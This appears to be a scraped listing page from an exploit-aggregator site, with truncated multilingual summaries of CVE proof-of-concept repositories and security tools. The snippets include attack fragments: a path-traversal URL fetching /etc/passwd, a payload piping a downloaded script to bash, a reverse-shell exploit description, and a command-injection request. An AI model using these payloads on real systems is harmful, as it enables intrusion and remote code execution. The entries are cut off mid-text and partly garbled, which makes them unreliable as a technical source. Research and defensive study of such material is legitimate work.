CVE-2015-3337

CVE-2015-3337 CVE-2015-3337 Lettura arbitraria di file http://10.10.20.166:9200/plugin/head/../../../../../../../../../etc/passwd Usage: python CVE-2015-3337.py root@kitploit: python CVE-2015-3337.py / \ | | | | / | |/ | | | | || || || / | / / | | | | ' / /'| |/' || | | \ / / / / / / / / | | | |...

CVE-2026-66751-Insufficient-Access-Controls-Allow-for-Unauthorized-Room-Deletion-Let-s-Chat-

Sicherheitshinweis: Unzureichende Zugriffskontrollen ermöglichen unbefugtes Löschen von Räumen Let's Chat Zugewiesene CVE-ID: CVE-2026-66751 Zusammenfassung DELETE /rooms/:room führt über die Anforderung einer Anmeldung hinaus keinerlei Autorisierungsprüfung durch. Jedes Konto kann jeden Raum auf...

CVE-2026-66750-Insufficient-Access-Controls-Allow-for-Unauthorized-File-Downloads-Let-s-Chat-

Sicherheitshinweis: Unzureichende Zugriffskontrollen erlauben unbefugte Datei-Downloads Let's Chat Zugewiesene CVE-ID: CVE-2026-66750 Zusammenfassung GET /files/:id/:name prüft, dass der Aufrufer angemeldet ist, und stellt dann die Datei bereit. Es wird jedoch nie geprüft, ob der Aufrufer den Rau...

cve-2015-7547

glibc DNS रिज़ॉल्वर में CVE-2015-7547 भेद्यता के लिए PoC अटैक सर्वर किसी भेद्य glibc संस्करण के साथ स्थानीय मशीन पर परीक्षण करने के लिए: root@kitploit: user@localhost:/ echo 'nameserver 127.0.0.127' | sudo tee /etc/resolv.conf user@localhost:/ echo 'nameserver 127.0.0.127' | sudo tee -a...

CVE-2023-6553

CVE-2023-6553 针对WordPress Backup插件中CVE-2023-6553的漏洞利用开发 这是一个严重级别的CVE，CVSS评分为9.8 该漏洞允许攻击者向运行受影响版本插件的服务器发送命令 受影响版本 Backup :9000/a.sh |bash';?"...

CVE-2025-11833-PoC

CVE-2025-11833 检测器 python3 main.py --url http://localhost --username admin --loot 本仓库仅用于教育和研究目的。作者不对任何滥用行为承担责任。请始终在受控且隔离的环境中测试 PoC。...

cve-2020-14008

CVE-2020-14008 ManageEngine एक्सप्लॉइट यह क्या है? यह स्क्रिप्ट ManageEngine Applications Manager में CVE-2020-14008 का शोषण करके SYSTEM विशेषाधिकारों के साथ एक रिवर्स शेल प्राप्त करती है। आवश्यकताएँ root@kitploit: pip3 install requests urllib3 इसका उपयोग कैसे करें 1. एक लिसनर शुरू करें...

CVE-2019-20933

CVE-2019-20933 InfluxDB 1.7.6 से पहले के संस्करणों में services/httpd/handler.go के authenticate फ़ंक्शन में एक प्रमाणीकरण बाइपास भेद्यता है, क्योंकि JWT टोकन में SharedSecret अर्थात साझा गुप्त कुंजी खाली हो सकता है। अधिक विवरण के लिए https://nvd.nist.gov/vuln/detail/CVE-2019-20933 देखें PoC यह P...

CVE-2023-39361

CVE-2023-39361 Cacti v1.2.24 में बिना प्रमाणीकरण वाला SQL इंजेक्शन अवलोकन Cacti एक ओपन-सोर्स परिचालन निगरानी उपकरण है जो PHP, MySQL/MariaDB में लिखा गया है, जो एक अनुकूल इंटरफ़ेस प्रदान करता है। यह भेद्यता 2023 में पाई गई थी जो 1.2.24 से पहले के सभी संस्करणों को प्रभावित करती है। यह सुरक्षा दोष S...

Vuln-Next.js-CVE-2025-29927

root@kitploit: npx [email protected] Installer les packages root@kitploit: npm install -D @types/bcrypt npm install mysql2 npm install jose npm install -D @types/jsonwebtoken Préparer la base de données root@kitploit: CREATE TABLE users id INT PRIMARY KEY AUTOINCREMENT, username VARCHAR255...

marimo_CVE-2026-39987_RCE_PoC

CVE-2026-39987 - Marimo Dieses Skript dient NUR zu Bildungszwecken und für autorisierte Tests. Die unbefugte Nutzung dieses Tools gegen Systeme ohne ausdrückliche Erlaubnis ist ILLEGAL. Der Autor übernimmt keine Haftung für den Missbrauch dieser Informationen. 📋 Beschreibung Marimo-Versionen vor...

cve-2022-42889-text4shell

Установка maven - maven-linux 1. Установка Maven для создания fat jar root@kitploit: mvn clean install 2. Сборка Docker root@kitploit: docker build --tag=text4shell . 3. Запуск Docker root@kitploit: docker run -p 80:8080 text4shell 4. Проверьте приложение root@kitploit:...

strot

Die interne API jeder Website mit natürlicher Sprache reverse-engineeren Das Problem Moderne Websites laden Daten durch versteckte AJAX-Aufrufe: Die Daten sind nicht im HTML – sie werden über interne APIs abgerufen Sie müssen Netzwerkanfragen manuell inspizieren Komplexe Paginierungslogik, die in...

naabu

Features • Installation • Usage • Running naabu • Config • NMAP integration • CDN/WAF Exclusion • Discord Naabu is a port scanning tool written in Go that allows you to enumerate valid ports for hosts in a fast and reliable manner. It is a really simple tool that does fast SYN/CONNECT/UDP scans o...

SAMLRaider

SAML Raider – SAML2-Burp-Erweiterung Beschreibung SAML Raider ist eine Burp-Suite-Erweiterung zum Testen von SAML-Infrastrukturen. Sie enthält zwei Kernfunktionen: das Manipulieren von SAML-Nachrichten und die Verwaltung von X.509-Zertifikaten. Diese Software wurde von Roland Bischofberger und...

CVE-2026-21876

CVE-2026-21876 Bypass do WAF OWASP CRS Container docker CVE-2026-21876 + PoC mínimo. Gostaria de agradecer separadamente a @airween e @fzipi pela resposta rápida! A correção da vulnerabilidade ficou pronta em muito pouco tempo. PoC root@kitploit: POST /submit HTTP/1.1 Host: localhost User-Agent:...

CVE-2024-38816-PoC

CVE-2024-38816 प्रूफ ऑफ कॉन्सेप्ट PoC यह CVE-2024-38816 भेद्यता के लिए एक प्रूफ ऑफ कॉन्सेप्ट है, जो एक पथ ट्रैवर्सल शोषण का प्रदर्शन करता है। निष्पादन चरण 1. Docker इमेज बनाएं: Spring Boot 3.0.13, Spring Framework 6.0.3 पर आधारित root@kitploit: docker build -t cve-2024-38816-poc . 2. कंटेनर चलाएं...

fastjson-RCE

Reproduktion der fastjson-v1.2.47-RCE-Sicherheitslücke fastjson-1.2.47 == Ressourcen-Download: root@kitploit: 下载 http://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.47/ 文档 https://github.com/alibaba/fastjson/wiki/%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98 源码...

cve-2022-22980

spring-data-mongodb-cve-2022-22980-exp Vulnerabilidade trivial, apenas registro. 1. Iniciar o Redis na porta 27017 2. Iniciar o projeto, o Spring Boot inicia na porta 6666 3. root@kitploit: GET /v1/user/get?username=Tjava.lang.Runtime.getRuntime.exec'open+-a+calculator.app' HTTP/1.1 Host:...

CVE-2017-8046-DEMO

Test demo di spring data rest CVE-2017-8046 per favore AGGIORNA spring data rest ORA. passaggi Avvia questa applicazione Crea un'istanza di test root@kitploit: POST /entityPersons/ HTTP/1.1 Host: localhost:8080 Content-Type: application/json Cache-Control: no-cache "firstName":"f2" Utilizzando...